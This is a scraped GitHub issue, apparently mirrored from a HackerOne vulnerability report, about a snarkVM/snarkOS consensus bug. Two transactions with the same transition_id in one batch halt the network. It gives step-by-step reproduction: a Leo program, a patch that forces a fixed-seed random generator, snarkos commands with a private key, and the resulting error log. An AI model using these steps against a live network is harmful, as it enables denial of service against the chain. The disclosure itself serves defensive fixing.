AleoNet / snarkVM

A Virtual Machine for Zero-Knowledge Executions

Home Page:https://snarkvm.org

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

[Bug] Two transactions containing the same transition_id in a single batch will halt the network

feezybabee opened this issue · comments

https://hackerone.com/reports/2282751

Summary

Two transactions contain the same transition_id in the single batch halt the network

Steps To Reproduce:

1.Deploy a Leo program like below

program attack.aleo {
    transition main() -> public u32 {
        return 1u32;
    }
}

2.Locally patch snarkvm code

https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37

    pub fn execute<R: Rng + CryptoRng>(
        &self,
        private_key: &PrivateKey<N>,
        (program_id, function_name): (impl TryInto<ProgramID<N>>, impl TryInto<Identifier<N>>),
        inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>,
        fee_record: Option<Record<N, Plaintext<N>>>,
        priority_fee_in_microcredits: u64,
        query: Option<Query<N, C::BlockStorage>>,
        rng: &mut R,
    ) -> Result<Transaction<N>> {
        /// *** Modify ***///
        use rand::SeedableRng;
        let rng_same = &mut rand_chacha::ChaChaRng::seed_from_u64(0);
				/// *** Modify ***///

      	//***Modify `rng` -> `rng_same`***//
        let authorization = self.authorize(private_key, program_id, function_name, inputs, rng_same)?; 
        
        // ....

        //***Modify `rng` -> `rng_same`***//
        let execution = self.execute_authorization_raw(authorization, query.clone(), rng_same)?;
        // Don't change the `rng` used to generate `fee_transition`  

3.Use the patched snarkvm version to build snarkos

4.Run the scripts twice to generate two transactions.

PROGRAM_NAME=attack.aleo
FUNCTION_NAME=main
PRIVATE_KEY=APrivateKey1zkp8CZNn3yeCseEtxuVPbDCwSyhGW6yZKUYKfgXmcpoGPWH

snarkos developer execute \
--private-key ${PRIVATE_KEY} \
--query ${API_PREFIX} \
--priority-fee 100 $PROGRAM_NAME $FUNCTION_NAME \
--dry-run

5.Two transactions have the same transition_id of main, different transition_id of fee_public

6.Broadcast two transactions at the same time, check the logs:

2023-12-13T06:55:13.976424Z ERROR BFT failed to advance the subdag for round 228 - Found a duplicate transition in block 97

Proof-of-Concept (PoC)

  1. self.ledger.prepare_advance_to_next_quorum_block doesn't check the transactions whether have the same transition_id.
  2. While self.ledger.check_next_block will check whether there are the same transition_ids.When the check fails, the transmissions will be reinserted.
  3. Repeat step 1

Supporting Material/References:

Logs: https://github.com/ghostant-1017/logs/blob/master/log.tar.gz

Impact

The vulnerability will halt the network easily.

program attack1.aleo {
    transition main() {

    }
}

Program like this can skip the input_id and output_id checks, lead to the same transition_id or tcm.